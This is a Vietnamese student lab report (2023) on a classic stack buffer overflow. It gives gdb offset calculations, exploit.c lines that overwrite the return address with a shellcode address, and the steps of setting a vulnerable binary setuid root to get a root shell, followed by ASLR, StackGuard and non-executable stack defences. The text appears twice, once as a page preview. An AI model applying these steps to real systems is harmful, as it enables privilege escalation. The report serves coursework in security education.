LAB 2: Buffer Overflows | Báo cáo thực hành môn An toàn thông tin Trường đại học sư phạm kỹ thuật TP. Hồ Chí Minh

A generic buffer overflow occurs when a buffer that has been allocated a specific storage space has more data copied to it than it can handle. Buffer overflow steps: 1. Find the presense and location of buffer overflow vulnerability; 2. Write mote data into the buffer than it can handle; 3. Overwites the return address of a function; 4. Changes the execution flow to the hacker code. Tài liệu giúp bạn tham khảo, ôn tập và đạt kết quả cao. Mời bạn đọc đón xem!

TRƯNG ĐI HC SƯ PHM K THUÂT TP.HCM
KHOA: CÔNG NGHỆ THÔNG TIN
----------
BÁO CÁO
MÔN HC: AN TÒAN THÔNG TIN
LAB 2
BUFFER OVERFLOWS
GVHD: TS.Huỳnh Nguyên Chính
Sinh viên thực hiện: Nguyễn Lê Gia Hân
MSSV: 21110432
Mã LHP: INSE330380_23_1_09
TP.Hồ Chí Minh, tháng 09 năm 2023
Lab2. Buffer Overflows
A generic buffer overflow occurs when a buffer that has been allocated a specific
storage space has more data copied to it than it can handle.
Buffer overflow steps:
1. Find the presense and location of buffer overflow vulnerability
2. Write mote data into the buffer than it can handle
3. Overwites the return address of a function
4. Changes the execution flow to the hacker code
Submission:
You will compose a lab report that documents each step you take, including screenshots
to illustrate the effects of commands you type, and describing your observations. Simply
attaching code without any explanation will not receive credits
Time duration: 1 week
Lab guide:
Step 0. Preparation
- Ubuntu 16.04 (32-bit)
- Source code: stack.c, exploit.c/exploit.py
Step 1. Disable address randomization
$sudo sysctl –w kernel.randomize_va_space=0
Tắt chế độ bảo vệ kernel_random
Step 2. Finding the address of the inject code
$gcc –z execstack –fno-stack-protector –g –o stack_dbg stack.c
$touch badfile
$gdb stack_dbg
(gdb)b bof see the name of the function in stack.c
Gọi hàm bof trong file stack.c để truy xuất thanh ghi bộ nhớ
(gdb)run
(gdb)p $ebp
$1 = (void *) xác định địa chỉ ebp 0xbfffeb08 (giá trị có thể khác trên máy SV)
(gdb)p &buffer
$2 = (char (*) [100]) xác định địa chỉ của buffer 0xbfffeae4 (giá trị có thể khác
trên máy SV)
(gdb) p/d tính khoảng cách từ ebp – buffer0xbffffeb08 0xbfffeae4
$3 = kết quả khoảng cách 36 (giá trị có thể khác trên máy SV)
Return address = ebp + (36 + 4) = ebp + 40
Step 3. Edit exploit.c
/* Fill the return address fiel with a candidate entry point of the malicious code */
*((long *) (buffer + 36)) = 0xbfffeb48 + 0x80;
/* Place the shellcode towards the end of the buffer */
Memcpy(buffer + sizeof(buffer) – sizeof(shellcode), shellcode, sizeof(shellcode));
Step 4. Execute
$ sudo ln -sf /bin/zsh /bin/sh
Ngăn chặn các shell được kích hoạt trong khi tấn công
$ gcc -o stack -z execstack -fno-stack-protector stack.c
Ngăn chặn các chế độ bảo vệ stack (execstack và stack-protector)
Biên dịch file stack thành file output
$ sudo chown root stack
$ sudo chmod 4755 stack
$ gcc -o exploit exploit.c
$./exploit // create the badfile
$./stack // launch the attack by running the vulnerable program
# <---- You’ve got a root shell!
Step 5. Defeating Address Randomization (ASLR)
$sudo sysctl –w kernel.randomize_va_space=2
Trong ASLR, khi sử dung phần randomize_va_space. Các giá trị sau được hỗ trợ:
0 - Không ngẫu nhiên. Mọi thứ đều tĩnh.
1 - Ngẫu nhiên bảo thủ. Thư viện được chia sẻ, stack, mmap (), VDSO và heap là ngẫu
nhiên.
2 - Hoàn toàn ngẫu nhiên. Ngoài các phần tử được liệt kê ở điểm trước, bộ nhớ được
quản lý thông qua brk () cũng được ngẫu nhiên hóa.
Vậy nên khi ta đặt giá trị = 2 thì điểm đến của các vị trí ô nhớ sẽ bị ngẫu nhiên không
thể đoán trước được nên việc đoán mù ra giá trị là hoàn toàn bất khả thi
Step 6. Turn on the StackGuard Protection
you should compile the program without the -fno-stack-protector option
Step 7. Turn on the Non-executable Stack Protection
we recompile our vulnerable program using the noexecstack option
$ gcc -o stack -fno-stack-protector -z noexecstack stack.c
Tấn công thất bại.
executestack là một chương trình đặt, xóa hoặc truy vấn cờ stack có thể thực thi của các
tệp nhị phân ELF và các thư viện được chia sẻ. Trước đây, Linux đã cho phép thực thi
các lệnh trên stack và có rất nhiều mã nhị phân và thư viện được chia sẻ giả định hành vi
này. Hơn nữa, mã nhúng GCC cho ví dụ: các hàm lồng nhau yêu cầu stack thực thi trên
nhiều kiến trúc. Để tránh phá vỡ các tệp nhị phân và các thư viện được chia sẻ cần stack
thực thi, các tệp nhị phân ELF và các thư viện được chia sẻ hiện có thể được đánh dấu là
yêu cầu stack thực thi hoặc không yêu cầu stack.
Người dùng có thể ghi đè điều này tại code assembly (thông qua tùy chọn trình hợp dịch
--execstack hoặc --noexecstack), tại thời điểm liên kết (thông qua -z thực thi hoặc -z tùy
chọn trình liên kết noexecstack) và sử dụng công cụ thực thi cũng trên thư viện đã chia sẻ
hoặc nhị phân trình liên kết . Công cụ này đặc biệt hữu ích cho các thư viện được chia sẻ
của bên thứ ba, nơi được biết rằng chúng không cần ngăn xếp thực thi hoặc thử nghiệm
chứng minh điều đó.
===
Lab with exploit.py
ret = + 0xbfffeb38 0x80 ///khac 0
offset = 36
# <---- You’ve got a root shell!
| 1/10

Preview text:

TRƯNG ĐI HC SƯ PHM K THUÂT TP.HCM
KHOA: CÔNG NGHỆ THÔNG TIN ---------- BÁO CÁO
MÔN HC: AN TÒAN THÔNG TIN LAB 2 BUFFER OVERFLOWS
GVHD: TS.Huỳnh Nguyên Chính
Sinh viên thực hiện: Nguyễn Lê Gia Hân MSSV: 21110432
Mã LHP: INSE330380_23_1_09
TP.Hồ Chí Minh, tháng 09 năm 2023 Lab2. Buffer Overflows
A generic buffer overflow occurs when a buffer that has been allocated a specific
storage space has more data copied to it than it can handle. Buffer overflow steps:
1. Find the presense and location of buffer overflow vulnerability
2. Write mote data into the buffer than it can handle
3. Overwites the return address of a function
4. Changes the execution flow to the hacker code Submission:
You will compose a lab report that documents each step you take, including screenshots
to illustrate the effects of commands you type, and describing your observations. Simply
attaching code without any explanation will not receive credits Time duration: 1 week Lab guide: Step 0. Preparation
- Ubuntu 16.04 (32-bit)
- Source code: stack.c, exploit.c/exploit.py
Step 1. Disable address randomization
$sudo sysctl –w kernel.randomize_va_space=0
Tắt chế độ bảo vệ kernel_random
Step 2. Finding the address of the inject code
$gcc –z execstack –fno-stack-protector –g –o stack_dbg stack.c $touch badfile $gdb stack_dbg
(gdb)b bof see the name of the function in stack.c 
Gọi hàm bof trong file stack.c để truy xuất thanh ghi bộ nhớ (gdb)run (gdb)p $ebp
$1 = (void *) 0xbfffeb08 xác định địa chỉ ebp 
(giá trị có thể khác trên máy SV) (gdb)p &buffer
$2 = (char (*) [100]) 0xbfffeae4 xác định địa chỉ của buffer  (giá trị có thể khác trên máy SV)
(gdb) p/d 0xbffffeb08 – 0xbfffeae4  tính khoảng cách từ ebp – buffer $3 = 36 kết quả khoảng cách 
(giá trị có thể khác trên máy SV)
 Return address = ebp + (36 + 4) = ebp + 40 Step 3. Edit exploit.c
/* Fill the return address fiel with a candidate entry point of the malicious code */
*((long *) (buffer + 36)) = 0xbfffeb48 + 0x80;
/* Place the shellcode towards the end of the buffer */
Memcpy(buffer + sizeof(buffer) – sizeof(shellcode), shellcode, sizeof(shellcode)); Step 4. Execute $ sudo ln -sf /bin/zsh /bin/sh
 Ngăn chặn các shell được kích hoạt trong khi tấn công
$ gcc -o stack -z execstack -fno-stack-protector stack.c
 Ngăn chặn các chế độ bảo vệ stack (execstack và stack-protector)
 Biên dịch file stack thành file output $ sudo chown root stack $ sudo chmod 4755 stack $ gcc -o exploit exploit.c
$./exploit // create the badfile
$./stack // launch the attack by running the vulnerable program
# <---- You’ve got a root shell!
Step 5. Defeating Address Randomization (ASLR)
$sudo sysctl –w kernel.randomize_va_space=2
Trong ASLR, khi sử dung phần randomize_va_space. Các giá trị sau được hỗ trợ:
0 - Không ngẫu nhiên. Mọi thứ đều tĩnh.
1 - Ngẫu nhiên bảo thủ. Thư viện được chia sẻ, stack, mmap (), VDSO và heap là ngẫu nhiên.
2 - Hoàn toàn ngẫu nhiên. Ngoài các phần tử được liệt kê ở điểm trước, bộ nhớ được
quản lý thông qua brk () cũng được ngẫu nhiên hóa.
Vậy nên khi ta đặt giá trị = 2 thì điểm đến của các vị trí ô nhớ sẽ bị ngẫu nhiên không 
thể đoán trước được nên việc đoán mù ra giá trị là hoàn toàn bất khả thi
Step 6. Turn on the StackGuard Protection
you should compile the program without the -fno-stack-protector option
Step 7. Turn on the Non-executable Stack Protection
we recompile our vulnerable program using the noexecstack option
$ gcc -o stack -fno-stack-protector -z noexecstack stack.c Tấn công thất bại.
executestack là một chương trình đặt, xóa hoặc truy vấn cờ stack có thể thực thi của các
tệp nhị phân ELF và các thư viện được chia sẻ. Trước đây, Linux đã cho phép thực thi
các lệnh trên stack và có rất nhiều mã nhị phân và thư viện được chia sẻ giả định hành vi
này. Hơn nữa, mã nhúng GCC cho ví dụ: các hàm lồng nhau yêu cầu stack thực thi trên
nhiều kiến trúc. Để tránh phá vỡ các tệp nhị phân và các thư viện được chia sẻ cần stack
thực thi, các tệp nhị phân ELF và các thư viện được chia sẻ hiện có thể được đánh dấu là
yêu cầu stack thực thi hoặc không yêu cầu stack.
Người dùng có thể ghi đè điều này tại code assembly (thông qua tùy chọn trình hợp dịch
--execstack hoặc --noexecstack), tại thời điểm liên kết (thông qua -z thực thi hoặc -z tùy
chọn trình liên kết noexecstack) và sử dụng công cụ thực thi cũng trên thư viện đã chia sẻ
hoặc nhị phân trình liên kết . Công cụ này đặc biệt hữu ích cho các thư viện được chia sẻ
của bên thứ ba, nơi được biết rằng chúng không cần ngăn xếp thực thi hoặc thử nghiệm chứng minh điều đó. === Lab with exploit.py
ret = 0xbfffeb38 + 0x80 ///khac 0 offset = 36
# <---- You’ve got a root shell!